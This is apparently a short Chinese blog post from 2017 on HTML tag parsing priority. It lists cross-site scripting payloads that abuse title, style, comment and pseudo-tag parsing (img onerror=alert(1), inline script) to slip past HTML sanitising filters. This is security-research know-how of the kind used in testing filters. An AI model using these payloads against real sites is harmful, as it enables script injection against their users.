HTML标签优先级

Author Avatar
Aryb1n 3月 30, 2017

有些html标签优先级特别高,他们觉得结束标签可以直接终结掉一个标签的属性
比如 <textarea>, <title>, <style>, <script>

<title><a href="</title><img src=x onerror=alert(1) //">
<style><a href="</style><img src=x onerror=alert(1) //">

可以绕过一些过滤器
另外注释可以看做是优先级超级高的标签

<!-- <a href="--><img src=x onerror=alert(1) //">

如果很不幸运,前面的都给过滤掉了
可以试一试下面的,前人太强了

<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<% foo="%><script>alert(1)</script>">